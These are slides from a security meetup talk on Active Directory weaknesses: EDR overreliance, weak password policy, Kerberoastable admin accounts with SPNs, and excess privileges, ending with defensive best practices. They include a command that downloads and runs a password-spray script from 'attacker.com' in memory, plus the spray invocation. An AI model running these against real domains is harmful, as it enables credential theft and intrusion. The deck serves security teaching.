

Active Directory: Where Exploit Ends (kind of)

Aravind Prakash

Security Analyst at Lucideus

Works mostly in Infrastructure security.

Passionate about offensive security.

CRTE and CRTP certified.

Member of DEF CON Trivandrum (<https://dc0471.org>), Part-time volunteer at the Red Team Village community (<https://redteamvillage.org>).

Spoken at c0c0n international conference and DEFCON Trivandrum Meetup.

Disclaimer

Opinions expressed are solely my own and do not express the views or opinions of my employer.

What Active Directory?

Active Directory is a directory service developed by Microsoft for Windows domain networks.

It is included in most Windows Server operating systems as a set of processes and services.

Why Active Directory?

Active Directory Domain Services (AD DS) are the core functions in Active Directory that manage users and computers and allow sysadmins to organize the data into logical hierarchies.

Make admins happy.



Why is it insecure?(Most cases)

To much trust in a single product

Misconfiguration

Making it too easier to use

To much trust in a single product

“We have an EDR” or “We have anti-virus software”

EDR is not your one stop solution to every problem.

Most EDR analyse the payload if it touches the disk.

What is our payload doesn't need to touch the disk?

We can do in-memory execution for powershell scripts or even windows executable's.

But what if powershell is disabled?

Most of the time powershell restriction bypass is very simple

Or We can use powershell with out powershell.exe

Domain enumeration

Powerview light weight and does not create that much of a traffic.

Bloodhound can enumerate all the things at once. Will create a lot noise.

With these tools we can have understanding of domain, once we have valid domain credential.

Misconfiguration

Weak Account policies

Password in the user description

High value users with a service principle names

Unnecessary permissions to normal user or groups

Lack of network segmentation

Weak Account policies

```
PS C:\Windows\Temp> net accounts
Force user logoff how long after time expires?:    Never
Minimum password age (days):                      0
Maximum password age (days):                     90
Minimum password length:                           5
Length of password history maintained:             None
Lockout threshold:                                 5
Lockout duration (minutes):                        1
Lockout observation window (minutes):              1
Computer role:                                     SERVER
```

Start doing password spray.

```
PS C:\Windows\Temp> iex (iwr https://attacker.com/DomainPasswordSpray.ps1)
```


```
PS C:\Windows\Temp> Invoke-DomainPasswordSpray -PasswordList ua1sx.tmp -OutFile 8zs4db.tmp
```

And we end with password hits like

Welcome123!

company123

High value users with a service principle names

Node Properties 

Display Name	Administrator
Object ID	S-1-5-21-705356112-990290913-2339313145-500
Password Last Changed	Tue, 26 Mar 2019 12:38:35 GMT
Last Logon	Tue, 06 Oct 2020 17:02:21 GMT
Last Logon (Replicated)	Sun, 04 Oct 2020 15:56:02 GMT
Enabled	True
Email	Administrator [REDACTED]
Description	Built-in account for administering the computer/domain
AdminCount	True
Compromised	False
Password Never Expires	True
Cannot Be Delegated	False
ASREP Roastable	False
Service Principal Names	
	MSSQLSvc/[REDACTED]dc.local:49167
	MSSQLSvc/[REDACTED]dc.local:SQLEXPRESS

- Any user can request for a service ticket.
- In current scenario, ticket will be encrypted with administrator password.
- We can use hashcat to crack the ticket and get the password

Making it too easier to use

Giving too much privilege for a service or user

When a vendor says, *“we need domain admin credentials to run the product that will make the company secure”*.

To give a user domain admin permissions to fix a problem that the team cannot find a solution to. After that forget to remove those permission.

Exploits released in 2020

Netlogon Elevation of Privilege Vulnerability

Windows DNS Server Remote Code Execution.

Best practices

Patch your servers regularly.

Strong account policy

Enable MFA (For both internal and external access)

Audit ACL, Groups and Permissions weekly or monthly

Create a non admin account for domain admin user for day to day job.

Implement a zero trust network

Monitor the event logs and look for suspicious patterns

Q&A will be happening at discord.

Please join in with <https://dc0471.org/discord>

Thank You

Twitter: a6avind_

